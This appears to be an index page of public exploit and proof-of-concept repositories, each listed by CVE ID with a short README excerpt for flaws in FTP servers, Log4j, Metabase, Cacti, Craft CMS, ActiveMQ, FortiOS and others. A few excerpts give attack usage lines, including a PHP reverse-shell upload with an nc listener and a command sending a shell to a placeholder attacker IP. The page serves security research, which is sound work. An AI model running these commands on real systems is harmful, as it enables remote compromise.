CVE-2025-5548

🐞CVE-2025-5548 Buffer overflow in FreeFloat FTP Server 1.0 🎯 Stack Buffer Overflow Exploitation This repository contains the documentation and practical development of a cybersecurity project focused on reverse engineering and the exploitation of memory-level vulnerabilities Stack Buffer Overflow...

EUVD-2026-102193

Deserialization of untrusted data in the Gremlin graph data import component in Amazon Neptune engine might allow an authenticated remote actor with standard database permissions to execute arbitrary code and access internal service credentials. To remediate this issue, users not enrolled in...

CVE-2017-8759

Exploit tool CVE-2017-8759 Exploit tool CVE-2017-8759 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter / other payload to victim...

CVE-2015-6967

CVE-2015-6967 python exploit.py --url http://xx.xx.xx.xx --username admin --password nibbles --payload phprevshell.php Cambiar $ip en linea 7 de phprevshell.php nc -lvnp 1234...

CVE-2021-1732-EXP-

This repository does not have a README...

Log4Shell

Log4Shell This repository is for Log4j 2021 CVE-2021-44228 Vulnerability demonstration and mitigation. What is Log4Shell? The CVE-2021-44228 / Log4Shell vulnerability consists of injecting vulnerable software with a malicious payload, which will ask Log4J to obtain a value from a third-party...

CVE-2023-31446-Remote-Code-Execution

CVE-2023-31446-Remote-Code-Execution Repository contains description for CVE-2023-31446 discovered by Dodge Industrial Team for Dodge OPTIFY platfrom. CVE ID: CVE-2023-31446 Vendor: Cassia Networks Product: Cassia Gateway Firmware Version: http:///bypass/config?type=sqs&keyId=&key=&queueUrl= Base...

BluetoothDucky

BluetoothDucky CVE-2023-45866 - BluetoothDucky implementation Using DuckyScript Unauthenticated bluetooth remote code execution. In short, run keyboard commands without pairing with their device This is an implementation of the CVE discovered by marcnewlin...

PoC-CVE-2026-20841

PoC CVE-2026-20841 Description This project is a simple Proof of Concept PoC regarding Windows Notepad vulnerability about "remote code execution". Attackers have the ability to build a special .md file and by tricking users with Social Engineering skills into clicking the link within the .md fil...

CVE-2024-56278

CVE-2024-56278 1️⃣ Component type WordPress plugin 2️⃣ Component details Component name WP Ultimate Exporter Vulnerable version ⚠️ Since the 'WP Ultimate Exporter' plugin is an addon for the 'WP Ultimate CSV Importer' plugin, both plugins need to be installed. 1. Create a new post using the code...

CVE-2024-4577

lol CVE-2024-4577 1. exploit command RCE value python3 cek.py --target http://target/index.php --ls --dir /path/to/directory python3 cek.py --target https://target/index.php --dir /path/to/directory python3 cek.py --target https://target/index.php --cat /path/to/directory find writable dir python...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646 Metabase 0.46.6 exploit This tool exploits a vulnerability CVE-2023-38646 in a software platform. The exploit allows for remote code execution via a crafted request, leveraging a mishandled database connection string. Overview The tool: Fetches the setup token from t...

CVE-2024-25641

CVE-2024-25641 Exploit Title: Cacti 1.2.26 - RCE Authenticated Date: 06/01/2025 Exploit Author: D3Ext Vendor Homepage: https://cacti.net/ Software Link: https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.26.zip Version: 1.2.26 Tested on: Kali Linux 2024 CVE: CVE-2024-25641 Explanation...

CVE-2026-28695

CVE-2026-28695 Patch Bypass - Craft CMS Blind RCE Authenticated blind remote code execution in Craft CMS. Bypasses the create - BaseObject restriction added in the CVE-2026-28695 fix commit e31e508. Usage python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ RCE via Jolokia API Description CVE-2026-34197 is a remote code execution RCE vulnerability in Apache ActiveMQ Classic that allows an attacker to execute arbitrary commands on the server's operating system through the Jolokia API exposed on the web console. The...

CVE-2026-2441-PoC

CVE-2026-2441 — Chrome CSSFontFeatureValuesMap Use-After-Free CVSS 8.8 High | Actively Exploited in the Wild | Renderer RCE Sandboxed A use-after-free vulnerability in Google Chrome's Blink CSS engine that allows a remote attacker to execute arbitrary code inside the browser sandbox via a crafted...

CVE-2021-44228-Log4Shell-POC

CVE-2021-44228-Log4Shell-POC Complete POC for Infamous Log4j CVE-2021-44228 Prerequisites Download and Install Java from here, you can use jdk-8u181. Install IntelliJ Idea from here POC Step 1 : Clone this repository. Step 2 : Move Exploit.java file to a different folder. Like in my case I've...

cve-2025-1550

cve-2025-1550 keras model json rce...

cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 is a critical vulnerability in Fortinet's FortiOS and FortiProxy products, located in their SSL VPN component. This vulnerability allows unauthenticated remote attackers to execute arbitrary code or commands on the target system through specially crafted HTTP...

Zabbix-CVE-2024-42327-SQL-Injection-RCE

Zabbix-CVE-2024-42327 RCE PoC / / | / / / | \ / \ / // / / // /| | / / / / / | | / / // // / / // / // // // // / / / / / / / / | |/ / /// // // / / // / // / / / / / |// //// // // //// // NSFOCUS CERT detected that Zabbix released a security announcement and fixed the SQL injection...